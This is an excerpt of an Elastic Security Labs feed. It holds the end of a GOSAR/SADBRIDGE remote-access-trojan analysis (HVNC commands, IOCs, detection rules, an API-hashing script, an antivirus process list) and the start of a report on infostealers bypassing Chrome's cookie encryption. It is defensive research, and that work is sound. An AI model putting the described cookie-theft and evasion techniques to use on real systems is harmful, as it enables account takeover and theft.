<li>ResolveStopHVNC</li>
<li>ResolveDoHVNCKeyboardEvent</li>
<li>ResolveDoHVNCMouseEvent</li>
</ul>
<p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p>
<p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p>
<ul>
<li>ExcuteCommand</li>
<li>DoMouseScroll</li>
<li>DoMouseRightClick</li>
<li>DoMouseMove</li>
<li>DoMouseLeftClick</li>
<li>DoKeyPress</li>
<li>CaptureScreen</li>
</ul>
<p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">0x401</td>
<td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td>
</tr>
<tr>
<td align="left">0x402</td>
<td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td>
</tr>
<tr>
<td align="left">0x403</td>
<td align="left">Runs an instance of <code>powershell.exe</code></td>
</tr>
<tr>
<td align="left">0x404</td>
<td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td>
</tr>
<tr>
<td align="left">0x405</td>
<td align="left">Runs an instance of <code>chrome.exe</code></td>
</tr>
<tr>
<td align="left">0x406</td>
<td align="left">Runs an instance of <code>msedge.exe</code></td>
</tr>
<tr>
<td align="left">0x407</td>
<td align="left">Runs an instance of <code>firefox.exe</code></td>
</tr>
<tr>
<td align="left">0x408</td>
<td align="left">Runs an instance of <code>iexplore.exe</code></td>
</tr>
<tr>
<td align="left">0x409</td>
<td align="left">Runs an instance of <code>360se.exe</code></td>
</tr>
<tr>
<td align="left">0x40A</td>
<td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td>
</tr>
<tr>
<td align="left">0x40B</td>
<td align="left">Runs an instance of <code>SogouExplorer.exe</code></td>
</tr>
<tr>
<td align="left">0x40C</td>
<td align="left">Close current window</td>
</tr>
<tr>
<td align="left">0x40D</td>
<td align="left">Minimizes the specified window</td>
</tr>
<tr>
<td align="left">0x40E</td>
<td align="left">Activates the window and displays it as a maximized window</td>
</tr>
<tr>
<td align="left">0x40F</td>
<td align="left">Kills the process of a window</td>
</tr>
<tr>
<td align="left">0x410</td>
<td align="left">Sets the clipboard</td>
</tr>
<tr>
<td align="left">0x411</td>
<td align="left">Clears the Clipboard</td>
</tr>
</tbody>
</table>
<h4>Screenshot</h4>
<p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p>
<ul>
<li>CaptureFirstScreen</li>
<li>CaptureNextScreen</li>
<li>GetBitmapInfo</li>
<li>GetBitmapInfoSize</li>
<li>SetQuality</li>
</ul>
<p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p>
<h3>Observation</h3>
<p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p>
<p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p>
<h3>New functionality</h3>
<p>The following table provides a description of all the newly added commands:</p>
<table>
<thead>
<tr>
<th align="left">New commands</th>
<th align="left"></th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ResolveDoRoboCopy</td>
<td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td>
</tr>
<tr>
<td align="left">ResolveDoCompressFiles</td>
<td align="left">Compress files in a zip format</td>
</tr>
<tr>
<td align="left">ResolveDoExtractFile</td>
<td align="left">Extract a zip file</td>
</tr>
<tr>
<td align="left">ResolveDoCopyFiles</td>
<td align="left">Copies a directory or file in the infected machine</td>
</tr>
<tr>
<td align="left">ResolveGetRunLogs</td>
<td align="left">Get available logs</td>
</tr>
<tr>
<td align="left">ResolveHVNCCommand</td>
<td align="left">Execute a HVNC command</td>
</tr>
<tr>
<td align="left">ResolveGetHVNCScreen</td>
<td align="left">Initiate HVNC</td>
</tr>
<tr>
<td align="left">ResolveStopHVNC</td>
<td align="left">Stop the HVNC session</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCKeyboardEvent</td>
<td align="left">Send keyboard event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoHVNCMouseEvent</td>
<td align="left">Send mouse event to the HVNC</td>
</tr>
<tr>
<td align="left">ResolveDoExecutePlugin</td>
<td align="left">Execute a plugin</td>
</tr>
<tr>
<td align="left">ResolveGetProcesses</td>
<td align="left">Get a list of running processes</td>
</tr>
<tr>
<td align="left">ResolveDoProcessStart</td>
<td align="left">Start a process</td>
</tr>
<tr>
<td align="left">ResolveDoProcessEnd</td>
<td align="left">Kill a process</td>
</tr>
<tr>
<td align="left">ResolveGetBitmapInfo</td>
<td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td>
</tr>
<tr>
<td align="left">ResolveGetMonitors</td>
<td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td>
</tr>
<tr>
<td align="left">ResolveGetDesktop</td>
<td align="left">Start screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveStopGetDesktop</td>
<td align="left">Stop the screen capture functionality</td>
</tr>
<tr>
<td align="left">ResolveNewShellExecute</td>
<td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td>
</tr>
<tr>
<td align="left">ResolveGetSchTasks</td>
<td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td>
</tr>
<tr>
<td align="left">ResolveGetScreenshot</td>
<td align="left">Capture a screenshot of the victim’s desktop</td>
</tr>
<tr>
<td align="left">ResolveGetServices</td>
<td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td>
</tr>
<tr>
<td align="left">ResolveDoServiceOperation</td>
<td align="left">Start or stop a service</td>
</tr>
<tr>
<td align="left">ResolveDoDisableMultiLogon</td>
<td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td>
</tr>
<tr>
<td align="left">ResolveDoRestoreNLA</td>
<td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td>
</tr>
<tr>
<td align="left">ResolveGetRemoteClientInformation</td>
<td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td>
</tr>
<tr>
<td align="left">ResolveDoInstallWrapper</td>
<td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td>
</tr>
<tr>
<td align="left">ResolveDoUninstallWrapper</td>
<td align="left">Uninstall <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveDoRecoverPrivileges</td>
<td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td>
</tr>
<tr>
<td align="left">ResolveGetRemoteSessions</td>
<td align="left">Retrieve information about the RDP sessions on the machine.</td>
</tr>
<tr>
<td align="left">ResolveDoLogoffSession</td>
<td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td>
</tr>
<tr>
<td align="left">ResolveGetSystemInfo</td>
<td align="left">Get system information</td>
</tr>
<tr>
<td align="left">ResolveGetConnections</td>
<td align="left">Get all the connections in the machine</td>
</tr>
<tr>
<td align="left">ResolveDoCloseConnection</td>
<td align="left">Not implemented</td>
</tr>
</tbody>
</table>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
</ul>
<h2>Mitigating REF3864</h2>
<h3>Detection</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://www.elastic.co/de/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research:</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">opera-x[.]net</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">teledown-cn[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">Landing page</td>
</tr>
<tr>
<td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td>
<td align="left">SHA-256</td>
<td align="left"><code>NetFxRepairTools.msi</code></td>
<td align="left">MSI</td>
</tr>
<tr>
<td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td>
<td align="left">SHA-256</td>
<td align="left"><code>x64bridge.dll</code></td>
<td align="left">SADBRIDGE</td>
</tr>
<tr>
<td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">GOSAR</td>
</tr>
<tr>
<td align="left">ferp.googledns[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.secssl[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.winsiked[.]com</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]is</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li>
</ul>
<h2>Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code class="language-py">def ror(x, n, max_bits=32) -&gt; int:
    &quot;&quot;&quot;Rotate right within a max bit limit, default 32-bit.&quot;&quot;&quot;
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF
    
    return hex(result)
</code></pre>
<h3>AV products checked in GOSAR</h3>
<table>
<thead>
<tr>
<th align="center">360sd.exe</th>
<th align="center">kswebshield.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">360tray.exe</td>
<td align="center">kvmonxp.exe</td>
</tr>
<tr>
<td align="center">a2guard.exe</td>
<td align="center">kxetray.exe</td>
</tr>
<tr>
<td align="center">ad-watch.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">arcatasksservice.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">ashdisp.exe</td>
<td align="center">miner.exe</td>
</tr>
<tr>
<td align="center">avcenter.exe</td>
<td align="center">mongoosagui.exe</td>
</tr>
<tr>
<td align="center">avg.exe</td>
<td align="center">mpmon.exe</td>
</tr>
<tr>
<td align="center">avgaurd.exe</td>
<td align="center">msmpeng.exe</td>
</tr>
<tr>
<td align="center">avgwdsvc.exe</td>
<td align="center">mssecess.exe</td>
</tr>
<tr>
<td align="center">avk.exe</td>
<td align="center">nspupsvc.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">ntrtscan.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">patray.exe</td>
</tr>
<tr>
<td align="center">avwatchservice.exe</td>
<td align="center">pccntmon.exe</td>
</tr>
<tr>
<td align="center">ayagent.aye</td>
<td align="center">psafesystray.exe</td>
</tr>
<tr>
<td align="center">baidusdsvc.exe</td>
<td align="center">qqpcrtp.exe</td>
</tr>
<tr>
<td align="center">bkavservice.exe</td>
<td align="center">quhlpsvc.EXE</td>
</tr>
<tr>
<td align="center">ccapp.exe</td>
<td align="center">ravmond.exe</td>
</tr>
<tr>
<td align="center">ccSetMgr.exe</td>
<td align="center">remupd.exe</td>
</tr>
<tr>
<td align="center">ccsvchst.exe</td>
<td align="center">rfwmain.exe</td>
</tr>
<tr>
<td align="center">cksoftshiedantivirus4.exe</td>
<td align="center">rtvscan.exe</td>
</tr>
<tr>
<td align="center">cleaner8.exe</td>
<td align="center">safedog.exe</td>
</tr>
<tr>
<td align="center">cmctrayicon.exe</td>
<td align="center">savprogress.exe</td>
</tr>
<tr>
<td align="center">coranticontrolcenter32.exe</td>
<td align="center">sbamsvc.exe</td>
</tr>
<tr>
<td align="center">cpf.exe</td>
<td align="center">spidernt.exe</td>
</tr>
<tr>
<td align="center">egui.exe</td>
<td align="center">spywareterminatorshield.exe</td>
</tr>
<tr>
<td align="center">f-prot.EXE</td>
<td align="center">tmbmsrv.exe</td>
</tr>
<tr>
<td align="center">f-prot.exe</td>
<td align="center">unthreat.exe</td>
</tr>
<tr>
<td align="center">f-secure.exe</td>
<td align="center">usysdiag.exe</td>
</tr>
<tr>
<td align="center">fortitray.exe</td>
<td align="center">v3svc.exe</td>
</tr>
<tr>
<td align="center">hipstray.exe</td>
<td align="center">vba32lder.exe</td>
</tr>
<tr>
<td align="center">iptray.exe</td>
<td align="center">vsmon.exe</td>
</tr>
<tr>
<td align="center">k7tsecurity.exe</td>
<td align="center">vsserv.exe</td>
</tr>
<tr>
<td align="center">knsdtray.exe</td>
<td align="center">wsctrl.exe</td>
</tr>
<tr>
<td align="center">kpfwtray.exe</td>
<td align="center">yunsuo_agent_daemon.exe</td>
</tr>
<tr>
<td align="center">ksafe.exe</td>
<td align="center">yunsuo_agent_service.exe</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/de/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
